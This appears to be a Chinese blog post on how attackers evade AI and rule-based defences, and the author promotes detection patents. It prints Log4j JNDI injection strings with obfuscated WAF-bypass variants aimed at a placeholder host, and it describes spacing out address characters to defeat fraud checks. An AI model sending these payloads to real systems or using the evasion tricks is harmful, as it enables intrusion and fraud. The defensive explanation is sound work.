如果把AI算法用来做个性化推荐,那么算法和被推荐对象会是一种 “相互取悦” 的关系,被推荐者一定希望推荐给他的是他需要的(在隐私保护做的好的前提下),算法也努力试图去计算出被推荐者真正需要的东西,二者是同向而行,或者至少,被推荐对象不会躲着AI走(推荐给我不需要的东西,什么心态?)。
但是算法用来做安全对抗就完全不一样了,算法努力计算出攻击者画像、预测出攻击者的行为,而攻击者则努力规避算法的计算,试图通过各种方式绕开AI的猜测,于是变成了一场对抗。
这是AI算法应用在信息安全的客观情况,包括网络入侵、帐号盗用、活动作弊(就是常说的薅羊毛)等,以下统称 “入侵”,攻击者为了让算法感受不到它的存在,会通过各种方式变换自己的行为特征,尽可能的不留下自己的痕迹。
迷影追踪——打一枪换个地方
攻击者在批量攻击的时候,会留下他的IP和机器信息,如果是参与欺诈交易、薅羊毛,则还会留下银行卡、身份等信息。当然这些多半是假的,IP随便换、机器是肉鸡、银行卡和身份证是黑市买来的。
所以攻击者会不断变换IP、机器、银行卡、身份信息等。但单个的变换成本低,批量的成本就高了,比如IP容易变,但IP前三段、以及IP背后的所在市、省、国家变的成本更高;银行卡可以有多个,但银行卡的发卡行就会有一定的集中性,诸如此类。越 “大维度” 的变量,攻击者越不容易绕开。
但是大维度的覆盖范围太广了,用它来对付黑产,不会误伤吗?会,但是可以用一些办法来尽可能的捕捉到攻击者在这些大维度里留下的痕迹,前几年发了一篇专利,专门做了这方面的研究,申请了一篇专利,感兴趣可以看看,已经得到授权:http://www.soopat.com/Patent/201810783552?lx=FMSQ
千变万化——绕过去,让AI和规则发现不了!
攻击者在入侵的时候除了会留下踪迹——“他使用什么”,还会留下自己的行为——“他做什么”,信息系统都有日志系统,所有攻击者的行为都会被记录,难的是如何发现他们。
比如,攻击者知道某个系统存在漏洞,想尝试利用这个漏洞,注入一些命令,但WAF(应用防火墙)都有一些规则,于是攻击者就会变换命令的方式,绕开检测的规则。
log4j 的史诗级漏洞大家都知道,注入的是 ${jndi:ldap://xxxx) 这种命令语句,所以很多WAF的规则的逻辑就是:对包含 ${jndi 的请求流量中进行拦截。但在不断对抗下,又出现了很多绕过的变异,比如:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://XXXX}或者${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a} |
---|
人可以看出来(可能也不一定),但机器识别不了。
在欺诈交易的对抗中,也有类似的情况,体现在收货地址的变异上。
- 第一种,黑产攻击者利用盗来的信用卡、帐号来进行交易,购买物品进行套现,这一流程中最关键的环节是要收到货,那么收获地址就非常重要,更换的成本也很高,一旦AI检测到这个地址是黑产的老巢,想再用就只能变换字符;
- 第二种,通过变换帐号、设备、银行卡来不断领补贴,然后薅羊毛,然后收货,为了保证让机器看不出来是一样的收货地址,也是做各种变换。
第一种常见于面向海外的国际电商,国内电商平台的收获地址已经标准化了,不容易绕,而且国内黑产的地址一报警就完了;第二种各种平台都有,比如PDD限购的百亿补贴的商品,就明确说同一个收获地址只能买一次,而且下单后不能改地址(也是怕通过这种方式绕过)
(示例图片,非广告)
(示例图片,非广告)
上面第一张图大家看到了,连临近、雷同都不可以,因为很多黑产、羊毛党通过这种方法绕过。
比如 25 Morton Street, Quincy, Massachusetts 这个地址,会被黑产变异成:2 5 M o r t o n S t r e e t , Q u i n c y, M a s s a c h u s e t t s,或者加/*等各种字符,送快递人很容易看出来,但是机器就绕过了。
这些针对waf规则或者欺诈交易的文本绕过,也让安全人员脑壳疼。本人前几年也研究过,探索了一套方法可以很有效的挖掘出海量日志里面隐藏的这些绕过行为,也申请了专利并且授权了,感兴趣可以了解下:http://www.soopat.com/Patent/201810712672?lx=FMSQ
镜花水月——你抓不到我
攻击者特别喜欢乱码,他们的各种行为中都有乱码的身影,比如在邮箱、命令请求、以及前面说的地址中。因为攻击者要想得手,通常要批量、快速的搞,然后不断去尝试,提高成功几率。乱码这种东西,既没有特征,又能快速生成。
钓鱼邮件的发件人经常是乱码的前缀,比如 dcvpwocma@outlook.com,这种可以批量快速生成,命令请求中也可以批量加一些乱码,就变成新的语句了,也许规则和模型就识别不了呢。
如何能从这些本来无特征的乱码中,提取出一些特征进行防控呢?本人还有一篇专利,通过构造的一个二位空间,将26个英文字母映射在这个空间中,再加上神经网络的训练,从而将意义词组和乱码词组区别开来,也申请了一篇专利:
http://www.soopat.com/Patent/201910407402,还没有授权,感兴趣可以交流。但是只支持英文乱码的识别。
后面打算专门开一个信息安全系列,聊一聊这几年的感想和心得,包括防火墙、IDS、IPS、WAF、防病毒、漏洞扫描、蜜罐......以及最近比较火的 数据安全、零信任等话题,感兴趣可以关注一下。
其实也写过几篇数据安全的文章:
国际风云 | 数据安全与个人隐私保护
还会继续写。